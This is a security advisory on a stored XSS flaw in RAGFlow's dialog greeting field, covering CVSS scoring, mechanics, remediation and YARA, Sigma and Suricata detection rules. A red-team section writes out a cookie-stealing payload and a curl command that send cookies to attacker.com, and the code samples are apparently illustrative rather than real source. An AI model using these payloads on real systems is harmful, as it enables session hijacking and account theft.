CVE-2025-51462

Executive Summary

CVE-2025-51462 is a Stored Cross-Site Scripting (XSS) vulnerability in RAGFlow version 0.17.2, specifically within the api.apps.dialog_app.set_dialog endpoint. An attacker can inject arbitrary JavaScript code via the assistant greeting field, which is stored unsanitized and later rendered using a markdown component with rehype-raw. This allows the execution of malicious scripts in the context of any user viewing the affected dialog, leading to potential data theft, session hijacking, or further compromise.

Supply Chain & Package Security

RAGFlow is a Python-based application. The vulnerability lies in the application's own code, not in a third-party package. However, the use of rehype-raw (a rehype plugin for raw HTML in markdown) is a direct dependency that enables the XSS. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must view the crafted dialog.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Overall CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but can lead to significant impact if exploited in a social engineering campaign.

Deep Dive & Mechanics

The vulnerability exists in the api.apps.dialog_app.set_dialog endpoint, which handles the configuration of dialog assistants. The assistant greeting field is intended to allow users to customize the initial message displayed by the assistant. However, the input is not sanitized before being stored in the database.

When a user views a dialog, the greeting is rendered using a markdown component that includes rehype-raw. This plugin allows raw HTML to be passed through the markdown parser, meaning any HTML or JavaScript tags in the greeting will be executed in the browser.

Attack Flow:

1. Attacker crafts a malicious payload (e.g., <img src=x onerror=alert(1)>) and submits it via the set_dialog API.
2. The payload is stored in the database without sanitization.
3. When a victim views the dialog, the markdown component renders the greeting, executing the attacker's script.
4. The script can steal cookies, redirect the user, or perform actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (RAGFlow 0.17.2):

# api/apps/dialog_app.py
def set_dialog(request):
    greeting = request.POST.get('greeting')
    # No sanitization
    dialog = Dialog.objects.create(greeting=greeting)
    return JsonResponse({'status': 'ok'})

Patched Code (Hypothetical):

# api/apps/dialog_app.py
import bleach
def set_dialog(request):
    greeting = request.POST.get('greeting')
    # Sanitize input
    clean_greeting = bleach.clean(greeting, tags=[], strip=True)
    dialog = Dialog.objects.create(greeting=clean_greeting)
    return JsonResponse({'status': 'ok'})

The patched version uses bleach to strip all HTML tags, preventing XSS. Additionally, the markdown component should be configured to disable rehype-raw or use a safer rendering pipeline.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a RAGFlow instance (version 0.17.2) with the dialog feature enabled.
• Ability to send HTTP requests to the API.

Exploit Steps:

1. Identify the target RAGFlow instance and the set_dialog endpoint (e.g., http://target:9380/api/apps/dialog_app/set_dialog).
2. Craft a malicious payload. For example, to steal cookies:

   <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">
   

3. Send a POST request with the payload:

   curl -X POST http://target:9380/api/apps/dialog_app/set_dialog \
     -d "greeting=<img src=x onerror='fetch(\"http://attacker.com/steal?cookie=\"+document.cookie)'>"
   

4. The payload is stored. When a victim views the dialog, the script executes and sends the cookie to the attacker's server.

Lab Setup:

• Use a local Docker container of RAGFlow 0.17.2.
• Set up a simple HTTP server (e.g., python -m http.server 80) to capture exfiltrated data.

Blue Team

Detection:

• Monitor API logs for suspicious greeting values containing HTML tags or JavaScript.
• Use WAF rules to block payloads with <script>, onerror, onload, etc.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search database for stored greetings containing < or > characters.
• Review markdown rendering logs for errors related to rehype-raw.

Indicators of Compromise (IOCs)

• Network: POST requests to /api/apps/dialog_app/set_dialog with greeting parameter containing HTML/JavaScript.
• Host: Log entries showing rehype-raw processing errors or unexpected HTML in markdown.
• Database: Rows in the dialog table with greeting field containing <script>, onerror, or similar patterns.
• File: No specific file IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_51462_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting RAGFlow greeting field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51462"
    strings:
        $xss1 = /<[^>]*\s(on\w+)\s*=[^>]*>/i
        $xss2 = /<script[^>]*>/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: RAGFlow Stored XSS via Greeting Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-51462 by injecting XSS payloads into the assistant greeting field.
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/apps/dialog_app/set_dialog'
        cs-request-body|contains|all:
            - 'greeting='
            - '<'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in greeting (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-51462 RAGFlow Stored XSS Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/apps/dialog_app/set_dialog";
    http_uri;
    content:"greeting=";
    http_client_body;
    pcre:"/<[^>]*\s(on\w+)\s*=[^>]*>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the dialog feature if not in use.
2. Apply input sanitization to the greeting field using a library like bleach or html-sanitizer.
3. Remove or disable rehype-raw from the markdown rendering pipeline.
4. Implement Content Security Policy (CSP) headers to restrict inline scripts.

Long-term Fix:

• Upgrade to a patched version of RAGFlow once available.
• Conduct a security audit of all user-input fields.
• Use a Web Application Firewall (WAF) to block XSS payloads.

Workaround:

• Manually sanitize the greeting field in the database using a script.

Valters IT
Securing Digital Frontiers